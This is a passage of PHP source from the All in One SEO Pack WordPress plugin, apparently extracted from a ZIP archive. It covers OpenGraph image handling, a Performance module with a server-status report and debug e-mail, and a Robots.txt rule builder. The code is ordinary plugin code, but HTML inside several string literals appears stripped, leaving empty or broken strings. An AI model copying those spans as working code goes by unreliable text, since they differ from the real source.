$this->get_prefix( 'settings' ) . 'default_options', array( &$this, 'filter_default_options', ), 10, 2 ); add_filter( $this->get_prefix( 'settings' ) . 'filter_metabox_options', array( &$this, 'filter_metabox_options', ), 10, 3 ); add_filter( $this->get_prefix( 'settings' ) . 'filter_term_metabox_options', array( &$this, 'filter_metabox_options', ), 10, 3 ); $post_types = $this->get_post_type_titles(); $rempost = array( 'revision' => 1, 'nav_menu_item' => 1, 'custom_css' => 1, 'customize_changeset' => 1, ); $post_types = array_diff_key( $post_types, $rempost ); $this->default_options['types']['initial_options'] = $post_types; foreach ( $post_types as $slug => $name ) { $field = $slug . '_fb_object_type'; $this->default_options[ $field ] = array( 'name' => "$name " . __( 'Object Type', 'all-in-one-seo-pack' ) . "
    ($slug)", 'type' => 'select', 'style' => '', 'initial_options' => $this->fb_object_types, 'default' => 'article', 'condshow' => array( 'aiosp_opengraph_types\[\]' => $slug ), ); $this->locations['opengraph']['options'][] = $field; $this->layout['facebook']['options'][] = $field; } $this->setting_options(); } function get_all_images( $options = null, $p = null ) { static $img = array(); if ( ! is_array( $options ) ) { $options = array(); } if ( ! empty( $this->options['aiosp_opengraph_meta_key'] ) ) { $options['meta_key'] = $this->options['aiosp_opengraph_meta_key']; } if ( empty( $img ) ) { $size = apply_filters( 'post_thumbnail_size', 'large' ); $default = $this->get_the_image_by_default(); if ( ! empty( $default ) ) { $default = set_url_scheme( $default ); $img[ $default ] = 0; } $img = array_merge( $img, parent::get_all_images( $options, null ) ); } if ( ! empty( $options ) && ! empty( $options['aioseop_opengraph_settings_customimg'] ) ) { $img[ $options['aioseop_opengraph_settings_customimg'] ] = 'customimg'; } if ( ! empty( $options ) && ! empty( $options['aioseop_opengraph_settings_customimg'] ) ) { $img[ $options['aioseop_opengraph_settings_customimg'] ] = 'customimg'; $img[ $options['aioseop_opengraph_settings_customimg_twitter'] ] = 'customimg_twitter'; } $author_img = $this->get_the_image_by_author( $p ); if ( $author_img ) { $image['author'] = $author_img; } $image = array_flip( $img ); $images = array(); if ( ! empty( $image ) ) { foreach ( $image as $k => $v ) { $images[ $v ] = ''; } } return array( $image, $images ); } function get_the_image_by_author( $options = null, $p = null ) { if ( null === $p ) { global $post; } else { $post = $p; } if ( ! empty( $post ) && ! empty( $post->post_author ) ) { $matches = array(); $get_avatar = get_avatar( $post->post_author, 300 ); if ( preg_match( "/src='(.*?)'/i", $get_avatar, $matches ) ) { return $matches[1]; } } return false; } function get_the_image( $options = null, $p = null ) { $meta_key = $this->options['aiosp_opengraph_meta_key']; return parent::get_the_image( array( 'meta_key' => $meta_key ), $p ); } function get_the_image_by_default( $args = array() ) { return $this->options['aiosp_opengraph_dimg']; } function settings_update() { } /** * Admin Enqueue Scripts * * Add hook in \All_in_One_SEO_Pack_Module::enqueue_metabox_scripts - Bails adding hook if not on target valid screen. * Add hook in \All_in_One_SEO_Pack_Module::add_page_hooks - Function itself is hooked based on the screen_id/page. * * @since 2.9.2 * * @see 'admin_enqueue_scripts' hook * @link https://developer.wordpress.org/reference/hooks/admin_enqueue_scripts/ * * @param string $hook_suffix */ public function admin_enqueue_scripts( $hook_suffix ) { wp_enqueue_script( 'aioseop-opengraph-script', AIOSEOP_PLUGIN_URL . 'js/modules/aioseop_opengraph.js', array(), AIOSEOP_VERSION ); wp_enqueue_script( 'aioseop-post-edit-script', AIOSEOP_PLUGIN_URL . 'js/count-chars.js', array(), AIOSEOP_VERSION ); $localize_post_edit = array( 'aiosp_title_extra' => 0, ); wp_localize_script( 'aioseop-post-edit-script', 'aioseop_count_chars', $localize_post_edit ); // Dev note: If certain JS files need to be restricted to select screens, then follow concept // used in `All_in_One_SEO_Pack::admin_enqueue_scripts()` (v2.9.1); which uses the `$hook_suffix` // and a switch-case. This also helps prevent unnessecarily processing localized data when it isn't needed. parent::admin_enqueue_scripts( $hook_suffix ); } /** * Enqueue our file upload scripts and styles. * * @param $hook */ function og_admin_enqueue_scripts( $hook ) { if ( 'all-in-one-seo_page_aiosp_opengraph' != $hook && 'term.php' != $hook ) { // Only enqueue if we're on the social module settings page. return; } wp_enqueue_script( 'media-upload' ); wp_enqueue_script( 'thickbox' ); wp_enqueue_style( 'thickbox' ); wp_enqueue_media(); } function save_tax_data( $term_id, $tt_id, $taxonomy ) { static $update = false; if ( $update ) { return; } if ( null !== $this->locations ) { foreach ( $this->locations as $k => $v ) { if ( isset( $v['type'] ) && ( 'metabox' === $v['type'] ) ) { $opts = $this->default_options( $k ); $options = array(); $update = false; foreach ( $opts as $l => $o ) { if ( isset( $_POST[ $l ] ) ) { $options[ $l ] = stripslashes_deep( $_POST[ $l ] ); $options[ $l ] = esc_attr( $options[ $l ] ); $update = true; } } if ( $update ) { $prefix = $this->get_prefix( $k ); $options = apply_filters( $prefix . 'filter_term_metabox_options', $options, $k, $term_id ); update_term_meta( $term_id, '_' . $prefix . $k, $options ); } } } } } /** * Returns the placeholder filtered and ready for DOM display. * filter:aioseop_opengraph_placeholder * * @since 2.4.14 * * @param mixed $placeholder Placeholder to be filtered. * @param string $type Type of the value to be filtered. * * @return string */ public function filter_placeholder( $placeholder, $type = 'text' ) { return strip_tags( trim( $placeholder ) ); } /** * Returns filtered default options. * filter:{prefix}default_options * * @since 2.4.13 * * @param array $options Default options. * @param string $location Location. * * @return array */ public function filter_default_options( $options, $location ) { if ( 'settings' === $location ) { $prefix = $this->get_prefix( $location ) . $location . '_'; // Add image checker as default. $options[ $prefix . 'customimg_checker' ] = 0; } return $options; } } } PK,—[¿Õ£ÔHÔH3all-in-one-seo-pack/modules/aioseop_performance.phpnu„[µü¤name = __( 'Performance', 'all-in-one-seo-pack' ); $this->prefix = 'aiosp_performance_'; $this->file = __FILE__; parent::__construct(); $this->default_options = array( 'memory_limit' => array( /* translators: This is the name of a setting which allows users to increase their PHP memory limit. */ 'name' => __( 'Raise memory limit', 'all-in-one-seo-pack' ), 'default' => '256M', 'type' => 'select', 'initial_options' => array( /* translators: This a dropdown value for the "Raise memory limit" setting. If this is selected, All in One SEO Pack will not override the PHP memory limit and use the default system value. */ 0 => __( 'Use the system default', 'all-in-one-seo-pack' ), '32M' => '32MB', '64M' => '64MB', '128M' => '128MB', '256M' => '256MB', ), ), 'execution_time' => array( /* translators: This is the name of a setting which allows users to increase their PHP execution time limit. */ 'name' => __( 'Raise execution time', 'all-in-one-seo-pack' ), 'default' => '', 'type' => 'select', 'initial_options' => array( '' => __( 'Use the system default', 'all-in-one-seo-pack' ), 30 => '30s', 60 => '1m', 120 => '2m', 300 => '5m', 0 => __( 'No limit', 'all-in-one-seo-pack' ), ), ), ); global $aiosp, $aioseop_options; $this->default_options['force_rewrites'] = array( /* translators: This is the name of a setting which forces the plugin to use output buffering to rewrite the title tag in the source code. */ 'name' => __( 'Force Rewrites', 'all-in-one-seo-pack' ), 'default' => 1, 'type' => 'radio', 'initial_options' => array( 1 => __( 'Enabled', 'all-in-one-seo-pack' ), 0 => __( 'Disabled', 'all-in-one-seo-pack' ), ), ); $this->layout = array( 'default' => array( 'name' => $this->name, 'help_link' => 'https://semperplugins.com/documentation/performance-settings/', 'options' => array_keys( $this->default_options ), ), ); $system_status = array( 'status' => array( 'default' => '', 'type' => 'html', 'label' => 'none', 'save' => false, ), 'send_email' => array( 'default' => '', 'type' => 'html', 'label' => 'none', 'save' => false, ), ); $this->layout['system_status'] = array( /* translators: This is the header of a table in which All in One SEO Pack displays data about the user's WordPress installation and server. */ 'name' => __( 'System Status', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/performance-settings/', 'options' => array_keys( $system_status ), ); $this->default_options = array_merge( $this->default_options, $system_status ); add_filter( $this->prefix . 'display_options', array( $this, 'display_options_filter' ), 10, 2 ); add_filter( $this->prefix . 'update_options', array( $this, 'update_options_filter' ), 10, 2 ); add_action( $this->prefix . 'settings_update', array( $this, 'settings_update_action' ), 10, 2 ); } /** * Update Options Filter * * @since ? * * @param $options * @param $location * @return mixed */ function update_options_filter( $options, $location ) { if ( null == $location && isset( $options[ $this->prefix . 'force_rewrites' ] ) ) { unset( $options[ $this->prefix . 'force_rewrites' ] ); } return $options; } /** * Display Options Filter * * @since ? * * @param $options * @param $location * @return mixed */ function display_options_filter( $options, $location ) { if ( null == $location ) { $options[ $this->prefix . 'force_rewrites' ] = 1; global $aiosp; $opts = $aiosp->get_current_options( array(), null ); $options[ $this->prefix . 'force_rewrites' ] = $opts['aiosp_force_rewrites']; } return $options; } /** * Settings Update Action * * @since ? * * @param $options * @param $location */ function settings_update_action( $options, $location ) { if ( null == $location && isset( $_POST[ $this->prefix . 'force_rewrites' ] ) ) { $force_rewrites = $_POST[ $this->prefix . 'force_rewrites' ]; if ( ( 0 == $force_rewrites ) || ( 1 == $force_rewrites ) ) { global $aiosp; $opts = $aiosp->get_current_options( array(), null ); $opts['aiosp_force_rewrites'] = $force_rewrites; $aiosp->update_class_option( $opts ); wp_cache_flush(); } } } /** * Add Page Hooks * * @since ? */ function add_page_hooks() { $memory_usage = memory_get_peak_usage() / 1024 / 1024; if ( $memory_usage > 32 ) { unset( $this->default_options['memory_limit']['initial_options']['32M'] ); if ( $memory_usage > 64 ) { unset( $this->default_options['memory_limit']['initial_options']['64M'] ); } if ( $memory_usage > 128 ) { unset( $this->default_options['memory_limit']['initial_options']['128M'] ); } if ( $memory_usage > 256 ) { unset( $this->default_options['memory_limit']['initial_options']['256M'] ); } } $this->update_options(); parent::add_page_hooks(); } /** * Settings Page Initialization * * @since ? */ function settings_page_init() { $this->default_options['status']['default'] = $this->get_serverinfo(); $this->default_options['send_email']['default'] = $this->get_email_input(); } /** * Menu Order * * @since ? * * @return int */ function menu_order() { return 7; } /** * Get Server Info * * @since ? * * @return mixed|string|void */ function get_serverinfo() { global $wpdb; global $wp_version; $sqlversion = $wpdb->get_var( 'SELECT VERSION() AS version' ); $mysqlinfo = $wpdb->get_results( "SHOW VARIABLES LIKE 'sql_mode'" ); if ( is_array( $mysqlinfo ) ) { $sql_mode = $mysqlinfo[0]->Value; } if ( empty( $sql_mode ) ) { $sql_mode = __( 'Not set', 'all-in-one-seo-pack' ); } if ( ini_get( 'allow_url_fopen' ) ) { $allow_url_fopen = __( 'On', 'all-in-one-seo-pack' ); } else { $allow_url_fopen = __( 'Off', 'all-in-one-seo-pack' ); } if ( ini_get( 'upload_max_filesize' ) ) { $upload_max = ini_get( 'upload_max_filesize' ); } else { /* translators: "N/A" is an abbreviation for "Non Applicable". */ $upload_max = __( 'N/A', 'all-in-one-seo-pack' ); } if ( ini_get( 'post_max_size' ) ) { $post_max = ini_get( 'post_max_size' ); } else { $post_max = __( 'N/A', 'all-in-one-seo-pack' ); } if ( ini_get( 'max_execution_time' ) ) { $max_execute = ini_get( 'max_execution_time' ); } else { $max_execute = __( 'N/A', 'all-in-one-seo-pack' ); } if ( ini_get( 'memory_limit' ) ) { $memory_limit = ini_get( 'memory_limit' ); } else { $memory_limit = __( 'N/A', 'all-in-one-seo-pack' ); } if ( function_exists( 'memory_get_usage' ) ) { $memory_usage = round( memory_get_usage() / 1024 / 1024, 2 ) . 'M'; } else { $memory_usage = __( 'N/A', 'all-in-one-seo-pack' ); } if ( is_callable( 'exif_read_data' ) ) { $exif = __( 'Yes', 'all-in-one-seo-pack' ) . ' ( V' . $this->substr( phpversion( 'exif' ), 0, 4 ) . ')'; } else { $exif = __( 'No', 'all-in-one-seo-pack' ); } if ( is_callable( 'iptcparse' ) ) { $iptc = __( 'Yes', 'all-in-one-seo-pack' ); } else { $iptc = __( 'No', 'all-in-one-seo-pack' ); } if ( is_callable( 'xml_parser_create' ) ) { $xml = __( 'Yes', 'all-in-one-seo-pack' ); } else { $xml = __( 'No', 'all-in-one-seo-pack' ); } $theme = wp_get_theme(); if ( function_exists( 'is_multisite' ) ) { if ( is_multisite() ) { $ms = __( 'Yes', 'all-in-one-seo-pack' ); } else { $ms = __( 'No', 'all-in-one-seo-pack' ); } } else { $ms = __( 'N/A', 'all-in-one-seo-pack' ); } $siteurl = get_option( 'siteurl' ); $homeurl = get_option( 'home' ); $db_version = get_option( 'db_version' ); $site_title = get_bloginfo( 'name' ); $language = get_bloginfo( 'language' ); $front_displays = get_option( 'show_on_front' ); $page_on_front = get_option( 'page_on_front' ); $blog_public = get_option( 'blog_public' ); $perm_struct = get_option( 'permalink_structure' ); // TODO Change array keys to NOT be translations. Try to use a separate array for translations. $debug_info = array( __( 'Operating System', 'all-in-one-seo-pack' ) => PHP_OS, __( 'Server', 'all-in-one-seo-pack' ) => $_SERVER['SERVER_SOFTWARE'], /* translators: "Memory" in this context refers to RAM memory. */ __( 'Memory usage', 'all-in-one-seo-pack' ) => $memory_usage, /* translators: "MYSQL" is the name of a database software and should not be translated. */ __( 'MYSQL Version', 'all-in-one-seo-pack' ) => $sqlversion, /* translators: "SQL" is a programming language that is used to store or retrieve data from databases and should not be translated. */ __( 'SQL Mode', 'all-in-one-seo-pack' ) => $sql_mode, __( 'PHP Version', 'all-in-one-seo-pack' ) => PHP_VERSION, /* translators: This is a setting in the PHP interpreter of the server. Leave this untranslated if there's no proper translation for this. */ __( 'PHP Allow URL fopen', 'all-in-one-seo-pack' ) => $allow_url_fopen, /* translators: "Memory" in this context refers to RAM memory. */ __( 'PHP Memory Limit', 'all-in-one-seo-pack' ) => $memory_limit, __( 'PHP Max Upload Size', 'all-in-one-seo-pack' ) => $upload_max, __( 'PHP Max Post Size', 'all-in-one-seo-pack' ) => $post_max, __( 'PHP Max Script Execute Time', 'all-in-one-seo-pack' ) => $max_execute, /* translators: The "PHP Exif" part should not be translated. */ __( 'PHP Exif support', 'all-in-one-seo-pack' ) => $exif, /* translators: The "PHP IPTC" part should not be translated. */ __( 'PHP IPTC support', 'all-in-one-seo-pack' ) => $iptc, /* translators: The "PHP XML" part should not be translated. */ __( 'PHP XML support', 'all-in-one-seo-pack' ) => $xml, /* translators: This is the base URL (e.g. "examplewebsite.com") of the website. */ __( 'Site URL', 'all-in-one-seo-pack' ) => $siteurl, /* translators: This is the URL of the homepage (e.g. "examplewebsite.com/home") of the website. */ __( 'Home URL', 'all-in-one-seo-pack' ) => $homeurl, __( 'WordPress Version', 'all-in-one-seo-pack' ) => $wp_version, /* translators: "DB" is an abbreviation for "Database". */ __( 'WordPress DB Version', 'all-in-one-seo-pack' ) => $db_version, /* translators: "Multisite" or "WordPress Multisite" is a feature that allows users to create a network of websites. Leave this in English if there is no translation for this in your locale glossary. */ __( 'Multisite', 'all-in-one-seo-pack' ) => $ms, __( 'Active Theme', 'all-in-one-seo-pack' ) => $theme['Name'] . ' ' . $theme['Version'], __( 'Site Title', 'all-in-one-seo-pack' ) => $site_title, __( 'Site Language', 'all-in-one-seo-pack' ) => $language, /* translators: This is a label that shows what page is used as the homepage/front page. */ __( 'Front Page Displays', 'all-in-one-seo-pack' ) => 'page' === $front_displays ? $front_displays . ' [ID = ' . $page_on_front . ']' : $front_displays, __( 'Search Engine Visibility', 'all-in-one-seo-pack' ) => $blog_public, /* translators: This is a label that shows what the current permalink structure is. The permalink structure is the way that the URLs of the website are formatted, e.g. "examplesite.com/?p=123" or "examplesite.com/1970/01/01/sample-post/". */ __( 'Permalink Setting', 'all-in-one-seo-pack' ) => $perm_struct, ); $debug_info[ __( 'Active Plugins', 'all-in-one-seo-pack' ) ] = null; $active_plugins = array(); $inactive_plugins = array(); $plugins = get_plugins(); foreach ( $plugins as $path => $plugin ) { if ( is_plugin_active( $path ) ) { $debug_info[ $plugin['Name'] ] = $plugin['Version']; } else { $inactive_plugins[ $plugin['Name'] ] = $plugin['Version']; } } $debug_key = __( 'Inactive Plugins', 'all-in-one-seo-pack' ); $debug_info[ $debug_key ] = null; $debug_info = array_merge( $debug_info, (array) $inactive_plugins ); /* translators: "%s" is a placeholder so it should not be translated. It will be replaced with the name of the premium version of the plugin, All in One SEO Pack Pro. */ $mail_text = sprintf( __( '%s Debug Info', 'all-in-one-seo-pack' ), 'All in One SEO Pack Pro' ) . "\r\n------------------\r\n\r\n"; $page_text = ''; if ( ! empty( $debug_info ) ) { foreach ( $debug_info as $name => $value ) { if ( null !== $value ) { $page_text .= "
  • $name $value
  • "; $mail_text .= "$name: $value\r\n"; } else { $page_text .= "

    $name

      "; $mail_text .= "\r\n$name\r\n----------\r\n"; } } } do { if ( ! empty( $_REQUEST['sfwd_debug_submit'] ) ) { $nonce = $_REQUEST['sfwd_debug_nonce']; if ( ! wp_verify_nonce( $nonce, 'sfwd-debug-nonce' ) ) { echo "
      " . /* translators: This message is shown when a form could not be submitted due to a verification error (e.g. when a field is required and is still blank). */ __( 'Form submission error: verification check failed.', 'all-in-one-seo-pack' ) . '
      '; break; } $email = ''; if ( ! empty( $_REQUEST['sfwd_debug_send_email'] ) ) { $email = sanitize_email( $_REQUEST['sfwd_debug_send_email'] ); } if ( $email ) { $attachments = array(); $upload_dir = wp_upload_dir(); $dir = $upload_dir['basedir'] . '/aiosp-log/'; if ( wp_mkdir_p( $dir ) ) { $file_path = $dir . 'settings_aioseop-' . date( 'Y-m-d' ) . '-' . time() . '.ini'; if ( ! file_exists( $file_path ) ) { // @codingStandardsIgnoreStart if ( $file_handle = @fopen( $file_path, 'w' ) ) { // @codingStandardsIgnoreEnd global $aiosp; $buf = '; ' . sprintf( /* translators: %s is a placeholder so it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ __( 'Settings export file for %s', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ) . "\n"; // Adds all settings and posts data to settings file. add_filter( 'aioseop_export_settings_exporter_post_types', array( $this, 'get_exporter_post_types' ) ); add_filter( 'aioseop_export_settings_exporter_choices', array( $this, 'get_exporter_choices' ) ); $buf = $aiosp->settings_export( $buf ); $buf = apply_filters( 'aioseop_export_settings', $buf ); fwrite( $file_handle, $buf ); fclose( $file_handle ); $attachments[] = $file_path; } } } /* translators: %s is a placeholder and should not be translated. It will be replaced with the URL of the website. Also, "SFWD" is an abbreviation for our business name and shouldn't be translated either. */ if ( wp_mail( $email, sprintf( __( 'SFWD Debug Mail From Site %s.', 'all-in-one-seo-pack' ), $siteurl ), $mail_text, '', $attachments ) ) { echo "
      " . /* translators: %s is a placeholder and should not be translated. It will be replaced with an e-mail address. */ sprintf( __( 'Sent to %s.', 'all-in-one-seo-pack' ), $email ) . '
      '; } else { echo "
      " . /* translators: %s is a placeholder and should not be translated. It will be replaced with an e-mail address. */ sprintf( __( 'Failed to send to %s.', 'all-in-one-seo-pack' ), $email ) . '
      '; } } else { echo "
      " . __( 'Error: please enter an e-mail address before submitting.', 'all-in-one-seo-pack' ) . '
      '; } } } while ( 0 ); // Control structure for use with break. $buf = "
        \n{$page_text}\n
      \n"; return $buf; } /** * Get Email Input * * @since ? * * @return string */ function get_email_input() { $nonce = wp_create_nonce( 'sfwd-debug-nonce' ); $buf = '' . '' . ''; return $buf; } /** * Get Exporter Choices * * @since 2.3.13 * * @return array */ function get_exporter_choices() { return array( 1, 2 ); } /** * Get Exporter Post Types * * @since 2.3.13 * * @return array */ function get_exporter_post_types() { $post_types = $this->get_post_type_titles(); $rempost = array( 'customize_changeset' => 1, 'custom_css' => 1, 'revision' => 1, 'nav_menu_item' => 1, ); $post_types = array_diff_key( $post_types, $rempost ); return array_keys( $post_types ); } } } PK,—[l‡¥¬|Z|Z.all-in-one-seo-pack/modules/aioseop_robots.phpnu„[µü¤name = __( 'Robots.txt', 'all-in-one-seo-pack' ); // Human-readable name of the plugin. $this->prefix = 'aiosp_robots_'; // option prefix. $this->file = __FILE__; // the current file. parent::__construct(); $this->default_options = array( 'usage' => array( 'type' => 'html', 'label' => 'none', 'default' => __( 'Use the rule builder below to add/delete rules.', 'all-in-one-seo-pack' ), 'save' => false, ), ); $this->rule_fields = array( 'agent' => array( 'name' => __( 'User Agent', 'all-in-one-seo-pack' ), 'type' => 'text', 'label' => 'top', 'save' => false, ), 'type' => array( 'name' => __( 'Rule', 'all-in-one-seo-pack' ), 'type' => 'select', 'initial_options' => array( 'allow' => __( 'Allow', 'all-in-one-seo-pack' ), 'disallow' => __( 'Disallow', 'all-in-one-seo-pack' ), ), 'label' => 'top', 'save' => false, ), 'path' => array( 'name' => __( 'Directory Path', 'all-in-one-seo-pack' ), 'type' => 'text', 'label' => 'top', 'save' => false, ), 'Submit' => array( 'type' => 'submit', 'class' => 'button-primary add-edit-rule', 'name' => __( 'Add Rule', 'all-in-one-seo-pack' ) . ' »', 'label' => 'none', 'save' => false, 'value' => 1, ), "{$this->prefix}id" => array( 'type' => 'hidden', 'class' => 'edit-rule-id', 'save' => false, 'value' => '', ), 'rules' => array( 'name' => __( 'Configured Rules', 'all-in-one-seo-pack' ), 'type' => 'custom', 'save' => true, ), 'robots.txt' => array( 'name' => __( 'Robots.txt', 'all-in-one-seo-pack' ), 'type' => 'custom', 'save' => true, ), ); add_filter( $this->prefix . 'submit_options', array( $this, 'submit_options' ), 10, 2 ); $this->default_options = array_merge( $this->default_options, $this->rule_fields ); $this->layout = array( 'default' => array( 'name' => __( 'Create a Robots.txt File', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/robots-txt-module/', 'options' => array_merge( array( 'usage' ), array_keys( $this->rule_fields ) ), ), ); // load initial options / set defaults. $this->update_options(); add_filter( $this->prefix . 'output_option', array( $this, 'display_custom_options' ), 10, 2 ); add_filter( $this->prefix . 'update_options', array( $this, 'filter_options' ) ); add_filter( $this->prefix . 'display_options', array( $this, 'filter_display_options' ) ); add_action( 'wp_ajax_aioseop_ajax_delete_rule', array( $this, 'ajax_delete_rule' ) ); add_action( 'wp_ajax_aioseop_ajax_robots_physical', array( $this, 'ajax_action_physical_file' ) ); add_filter( 'robots_txt', array( $this, 'robots_txt' ), 10, 2 ); // We want to define this because calling admin init in the unit tests causes an error and does not call this method. if ( defined( 'AIOSEOP_UNIT_TESTING' ) ) { add_action( "aioseop_ut_{$this->prefix}admin_init", array( $this, 'import_default_robots' ) ); } } /** * Physical File Check * * @since 2.7.1 */ function physical_file_check() { if ( $this->has_physical_file() ) { if ( ( is_multisite() && is_network_admin() ) || ( ! is_multisite() && current_user_can( 'manage_options' ) ) ) { // @codingStandardsIgnoreStart $this->default_options['usage']['default'] .= '

      ' . sprintf( __( 'A physical file exists. Do you want to %simport and delete%s it, %sdelete%s it or continue using it?', 'all-in-one-seo-pack' ), '', '', '', '' ) . '

      '; // @codingStandardsIgnoreStop } else { $this->default_options['usage']['default'] .= '

      ' . __( 'A physical file exists. This feature cannot be used.', 'all-in-one-seo-pack' ) . '

      '; } return; } else { add_action( 'admin_init', array( $this, 'import_default_robots' ) ); } } /** * Filter Display Options * * @since 2.7 * * @param $options * @return mixed */ function filter_display_options( $options ) { $errors = get_transient( "{$this->prefix}errors" . get_current_user_id() ); if ( false !== $errors ) { if ( is_array( $errors ) ) { $errors = implode( '
      ', $errors ); } echo sprintf( '

      %s

      ', $errors ); } return $options; } /** * Import Default Robots * * First time import of the default robots.txt rules. * * @since 2.7 */ function import_default_robots() { $options = $this->get_option_for_blog( $this->get_network_id() ); if ( array_key_exists( 'default', $options ) ) { return; } $default = $this->do_robots(); $lines = explode( "\n", $default ); $rules = $this->extract_rules( $lines ); aiosp_log("adding default rules: " . print_r($rules,true)); global $aioseop_options; $aioseop_options['modules']["{$this->prefix}options"]['default'] = $rules; update_option( 'aioseop_options', $aioseop_options ); } /** * Submit Options * * @since 2.7 * * @param $submit_options * @param $location * @return mixed */ function submit_options( $submit_options, $location ) { unset( $submit_options['Submit'] ); unset( $submit_options['Submit_Default'] ); return $submit_options; } /** * AJAX Action Physical File * * @since 2.7 */ function ajax_action_physical_file() { aioseop_ajax_init(); $action = $_POST['options']; switch ( $action ) { case 'import': $this->import_default_robots(); if ( ! $this->import_physical_file() ) { wp_send_json_success( array( 'message' => __( 'Unable to read file', 'all-in-one-seo-pack' ) ) ); } // fall-through. case 'delete': if ( ! $this->delete_physical_file() ) { wp_send_json_success( array( 'message' => __( 'Unable to delete file', 'all-in-one-seo-pack' ) ) ); } break; } wp_send_json_success(); } /** * Import Physical File * * @since 2.7 * * @access private * * @return bool */ private function import_physical_file() { $wp_filesystem = $this->get_filesystem_object(); $file = trailingslashit( $wp_filesystem->abspath() ) . 'robots.txt'; if ( ! $wp_filesystem->is_readable( $file ) ) { return false; } $lines = $wp_filesystem->get_contents_array( $file ); if ( ! $lines ) { return true; } $rules = $this->extract_rules( $lines ); aiosp_log("importing rules: " . print_r($rules,true)); global $aioseop_options; $aioseop_options['modules']["{$this->prefix}options"]["{$this->prefix}rules"] = $rules; update_option( 'aioseop_options', $aioseop_options ); return true; } /** * Extract Rules * * @since 2.7 * * @access private * * @param array $lines * @return array */ private function extract_rules( array $lines ) { $rules = array(); $user_agent = null; $rule = array(); $blog_rules = $this->get_all_rules(); foreach ( $lines as $line ) { if ( empty( $line ) ) { continue; } $array = array_map( 'trim', explode( ':', $line ) ); if ( $array && count( $array ) !== 2 ) { aiosp_log( "Ignoring $line from robots.txt" ); continue; } $operand = $array[0]; switch ( strtolower( $operand ) ) { case 'user-agent': $user_agent = $array[1]; break; case 'disallow': // fall-through. case 'allow': $rule[ 'agent' ] = $user_agent; $rule[ 'type' ] = $operand; $rule[ 'path' ] = $array[1]; break; } if ( $rule ) { $rule = $this->validate_rule( $blog_rules, $rule ); if ( is_wp_error( $rule ) ) { $this->add_error( $rule ); } else { $rules[] = $rule; } $rule = array(); } } return $rules; } /** * Delete Physical File * * @since 2.7 * * @access private * * @return mixed */ private function delete_physical_file() { $wp_filesystem = $this->get_filesystem_object(); $file = trailingslashit( $wp_filesystem->abspath() ) . 'robots.txt'; return $wp_filesystem->delete( $file ); } /** * Has Physical Files * * @since 2.7 * * @access private * * @return mixed */ private function has_physical_file() { $access_type = get_filesystem_method(); if ( 'direct' === $access_type ) { $wp_filesystem = $this->get_filesystem_object(); $file = trailingslashit( $wp_filesystem->abspath() ) . 'robots.txt'; return $wp_filesystem->exists( $file ); } } /** * Robots txt * * @since 2.7 * * @param $output * @param $public * @return string */ function robots_txt( $output, $public ) { return $output . "\r\n" . $this->get_rules(); } /** * Get Rules * * @since 2.7 * * @access private * * @return string */ private function get_rules() { $robots = array(); $blog_rules = $this->get_all_rules( is_multisite() ? $this->get_network_id() : null ); if ( is_multisite() && $this->get_network_id() != get_current_blog_id() ) { $blog_rules = array_merge( $blog_rules, $this->get_all_rules( get_current_blog_id() ) ); } $rules = array(); foreach ( $blog_rules as $rule ) { $condition = sprintf( '%s: %s', $rule['type'], $rule['path'] ); $agent = $rule['agent']; if ( ! array_key_exists( $agent, $rules ) ) { $rules[$agent] = array(); } $rules[ $agent ][] = $condition; } foreach( $rules as $agent => $conditions ) { $robots[] = sprintf( 'User-agent: %s', $agent ); $robots[] = implode( "\r\n", $conditions ); $robots[] = ""; } return implode( "\r\n", $robots ); } /** * Get Network ID * * @since 2.7 * * @access private * * @return int */ private function get_network_id() { if ( is_multisite() ) { return get_network()->site_id; } return get_current_blog_id(); } /** * Get Option for Blog * * @since 2.7 * * @access private * * @param null $id * @return array */ private function get_option_for_blog( $id = null ) { if ( is_null( $id ) ) { $id = get_current_blog_id(); } if ( is_multisite() ) { switch_to_blog( $id ); } $options = get_option('aioseop_options'); if ( is_multisite() ) { restore_current_blog(); } return array_key_exists( 'modules', $options ) && array_key_exists( "{$this->prefix}options", $options['modules'] ) ? $options['modules']["{$this->prefix}options"] : array(); } /** * Get All Rules * * Get all rules defined for the blog. * * @since 2.7 * * @access private * * @param null $id * @return array|mixed */ private function get_all_rules( $id = null ) { $options = $this->get_option_for_blog( $id ); return array_key_exists( "{$this->prefix}rules", $options ) ? $options[ "{$this->prefix}rules" ] : array(); } /** * Get Default Rules * * Get the default robot rules that were saved in the first initialization. * * @since 2.7 * * @access private * * @return array|mixed */ private function get_default_rules() { $options = $this->get_option_for_blog( $this->get_network_id() ); return array_key_exists( 'default', $options ) ? $options[ 'default' ] : array(); } /** * AJAX Delete Rule * * @since 2.7 */ function ajax_delete_rule() { aioseop_ajax_init(); $id = $_POST['options']; $this->delete_rule( $id ); } /** * Delete Rule * * @since 2.7 * * @access private * * @param $id * @return mixed|null */ private function delete_rule( $id ) { global $aioseop_options; $deleted_rule = null; // first check the defined rules. $blog_rules = $this->get_all_rules(); $rules = array(); foreach ( $blog_rules as $rule ) { if ( $id === $rule['id'] ) { $deleted_rule = $rule; continue; } $rules[] = $rule; } $aioseop_options['modules']["{$this->prefix}options"]["{$this->prefix}rules"] = $rules; update_option( 'aioseop_options', $aioseop_options ); return $deleted_rule; } /** * Add Error * * @since 2.7 * * @access private * * @param $error */ private function add_error( $error ) { $errors = get_transient( "{$this->prefix}errors" . get_current_user_id() ); if ( false === $errors ) { $errors = array(); } $errors[] = $error->get_error_message(); // set the error in a transient. set_transient( "{$this->prefix}errors" . get_current_user_id(), $errors, 5 ); } /** * Filter Options * * @since 2.7 * * @param $options * @return mixed */ function filter_options( $options ) { $modify = isset( $_POST[ "{$this->prefix}id" ] ) && ! empty( $_POST[ "{$this->prefix}id" ] ); $deleted_rule = null; if ( $modify ) { // let's first delete the original rule and save it temporarily so that we can add it back in case of an error with the new rule. $deleted_rule = $this->delete_rule( $_POST[ "{$this->prefix}id" ] ); } $blog_rules = $this->get_all_rules(); if ( ! empty( $_POST[ "{$this->prefix}path" ] ) ) { foreach ( array_keys( $this->rule_fields ) as $field ) { $post_field = $this->prefix . "" . $field; if ( ! empty( $_POST[ $post_field ] ) ) { $_POST[ $post_field ] = esc_attr( wp_kses_post( $_POST[ $post_field ] ) ); } else { $_POST[ $post_field ] = ''; } } $new_rule = array( 'path' => $_POST[ "{$this->prefix}path" ], 'type' => $_POST[ "{$this->prefix}type" ], 'agent' => 